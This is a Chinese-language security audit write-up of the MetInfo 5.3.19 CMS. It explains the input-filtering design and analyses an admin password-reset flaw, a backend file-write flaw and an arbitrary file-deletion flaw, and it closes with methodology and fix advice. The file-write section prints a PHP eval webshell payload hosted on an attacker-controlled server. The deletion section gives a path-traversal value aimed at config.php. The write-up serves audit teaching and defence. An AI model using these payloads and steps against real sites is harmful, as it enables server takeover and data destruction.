MetInfo5.3.19代码审计思路
字数 1714 2025-08-15 21:30:51

MetInfo 5.3.19 代码审计深度解析

一、审计准备工作

1. 工具准备

  • PHPStudy:搭建本地测试环境
  • PHPStorm(安装Xdebug插件):代码调试与分析
  • Seay源码审计系统:自动化漏洞扫描
  • BurpSuite:HTTP请求拦截与修改
  • 米拓CMS帮助文档:https://doc.metinfo.cn/dev/basics/basics28.html

2. 关键系统常量

  • $_M[form]:已安全过滤的GET/POST/COOKIE表单数组
  • 系统要求使用$_M[form]而非直接使用$_POST$_GET$_COOKIE

二、核心过滤机制分析

1. 参数过滤流程

参数处理位于include/common.inc.php

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach(
$$
_request as $_key => $_value) {
        $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value,0,0,1);
    }
}

2. daddslashes()函数详解

位于include/global.fun.php的多层过滤:

  1. 基础过滤

    • 非数组参数:addslashes()转义
    • 数组参数:递归处理每个元素
  2. SQL注入防护

$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
// 其他SQL关键词过滤...
  1. XSS防护
$string_html = $string;
$string = strip_tags($string); // 剥离HTML/XML/PHP标签
if($string_html != $string){
    $string = ''; // 过滤后内容变化则置空
}

三、数据库操作机制

1. 数据库操作类

位于include/mysql_class.php,关键方法:

  • get_one():执行查询
  • query():最终执行SQL语句

2. SQL执行流程

$func = 'mysql_query';
$query = $func($sql, $this->link);

四、漏洞深度分析

1. 管理员密码重置漏洞

漏洞位置admin/admin/getpassword.php

利用条件:

  1. 满足$action='next4'$abt_type!=1
  2. 构造有效的$p参数

加密逻辑分析:

$array = explode('.', authcode($p,'DECODE', $met_webkeys));
// 要求:$array[1] == md5($array[0].'+'.$passwords)

利用步骤:

  1. 获取加密字符串:

    • 访问getpassword.php?action=next2&abt_type=2&admin_mobile=存在的用户名
    • 需设置met_host=公网IP并监听80端口捕获请求
  2. 构造payload:

    authcode("用户名.md5(用户名+密码)", 'ENCODE', $met_webkeys)
    

2. 后台文件写入漏洞

漏洞位置include/export.func.php

利用条件:

  1. 控制$met_host参数
  2. 远程服务器存在可控的/dl/standard.php文件

利用步骤:

  1. 在远程服务器创建文件:

    metinfo<Met><?php @eval($_REQUEST['a']);?><Met>任意内容
    
  2. 发送请求:

    met_host=攻击者IP&其他必要参数
    
  3. 结果:

    • 系统会将<Met>后的内容写入dlappfile.php
    • 生成Webshell:<?php @eval($_REQUEST['a']);?>

3. 后台文件删除漏洞

漏洞位置admin/app/physical/physical.php

利用条件:

  • 可控制$f_filename参数

利用方式:

f_filename=../../../config/config.php

可删除任意文件(需权限)

五、防护机制分析

1. 已防护的漏洞类型

  1. SQL注入

    • 参数过滤(daddslashes)
    • 关键词干扰(select -> \sel\ect)
  2. XSS漏洞

    • 标签剥离(strip_tags)
    • 内容变化检测
  3. 文件上传

    • 黑名单:php/asp/aspx/jsp等
    • 白名单:$_M['config']['met_file_format']
  4. IP伪造注入

    if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/", $m_user_ip)){
        $m_user_ip = $_SERVER['REMOTE_ADDR'];
    }
    

六、审计方法论总结

1. 标准审计流程

  1. 阅读官方文档,了解系统架构
  2. 分析参数传递与过滤机制
  3. 跟踪数据库操作流程
  4. 检查用户交互点(留言板、登录等)
  5. 验证自动化扫描结果
  6. 重点审计后台功能

2. 高效审计技巧

  1. 调试跟踪

    • 使用PHPStorm+Xdebug逐步跟踪参数传递
    • 重点关注过滤函数与数据库操作的交界处
  2. 敏感函数定位

    • 文件操作:file_put_contents/unlink
    • 代码执行:eval/assert
    • 数据库操作:query/execute
  3. 参数来源分析

    • 区分$_M[form](已过滤)和$_SERVER等未过滤来源

七、修复建议

  1. 密码重置漏洞

    • 增加验证码机制
    • 限制密码重置链接有效期
  2. 文件操作漏洞

    • 限制文件删除/写入目录
    • 增加操作权限验证
  3. 增强过滤

    • $_SERVER参数进行过滤
    • 加强路径穿越防护(../)
  4. 日志监控

    • 记录敏感文件操作
    • 监控异常密码重置行为

通过本审计案例,可深入理解CMS系统的安全防护机制设计思路和实际漏洞挖掘方法。

MetInfo 5.3.19 代码审计深度解析 一、审计准备工作 1. 工具准备 PHPStudy:搭建本地测试环境 PHPStorm(安装Xdebug插件):代码调试与分析 Seay源码审计系统:自动化漏洞扫描 BurpSuite:HTTP请求拦截与修改 米拓CMS帮助文档:https://doc.metinfo.cn/dev/basics/basics28.html 2. 关键系统常量 $_M[form] :已安全过滤的GET/POST/COOKIE表单数组 系统要求使用 $_M[form] 而非直接使用 $_POST 、 $_GET 、 $_COOKIE 二、核心过滤机制分析 1. 参数过滤流程 参数处理位于 include/common.inc.php : 2. daddslashes()函数详解 位于 include/global.fun.php 的多层过滤: 基础过滤 : 非数组参数: addslashes() 转义 数组参数:递归处理每个元素 SQL注入防护 : XSS防护 : 三、数据库操作机制 1. 数据库操作类 位于 include/mysql_class.php ,关键方法: get_one() :执行查询 query() :最终执行SQL语句 2. SQL执行流程 四、漏洞深度分析 1. 管理员密码重置漏洞 漏洞位置 : admin/admin/getpassword.php 利用条件: 满足 $action='next4' 且 $abt_type!=1 构造有效的 $p 参数 加密逻辑分析: 利用步骤: 获取加密字符串: 访问 getpassword.php?action=next2&abt_type=2&admin_mobile=存在的用户名 需设置 met_host=公网IP 并监听80端口捕获请求 构造payload: 2. 后台文件写入漏洞 漏洞位置 : include/export.func.php 利用条件: 控制 $met_host 参数 远程服务器存在可控的 /dl/standard.php 文件 利用步骤: 在远程服务器创建文件: 发送请求: 结果: 系统会将 <Met> 后的内容写入 dlappfile.php 生成Webshell: <?php @eval($_REQUEST['a']);?> 3. 后台文件删除漏洞 漏洞位置 : admin/app/physical/physical.php 利用条件: 可控制 $f_filename 参数 利用方式: 可删除任意文件(需权限) 五、防护机制分析 1. 已防护的漏洞类型 SQL注入 : 参数过滤(daddslashes) 关键词干扰(select -> \sel\ect) XSS漏洞 : 标签剥离(strip_ tags) 内容变化检测 文件上传 : 黑名单:php/asp/aspx/jsp等 白名单: $_M['config']['met_file_format'] IP伪造注入 : 六、审计方法论总结 1. 标准审计流程 阅读官方文档,了解系统架构 分析参数传递与过滤机制 跟踪数据库操作流程 检查用户交互点(留言板、登录等) 验证自动化扫描结果 重点审计后台功能 2. 高效审计技巧 调试跟踪 : 使用PHPStorm+Xdebug逐步跟踪参数传递 重点关注过滤函数与数据库操作的交界处 敏感函数定位 : 文件操作:file_ put_ contents/unlink 代码执行:eval/assert 数据库操作:query/execute 参数来源分析 : 区分 $_M[form] (已过滤)和 $_SERVER 等未过滤来源 七、修复建议 密码重置漏洞 : 增加验证码机制 限制密码重置链接有效期 文件操作漏洞 : 限制文件删除/写入目录 增加操作权限验证 增强过滤 : 对 $_SERVER 参数进行过滤 加强路径穿越防护(../) 日志监控 : 记录敏感文件操作 监控异常密码重置行为 通过本审计案例,可深入理解CMS系统的安全防护机制设计思路和实际漏洞挖掘方法。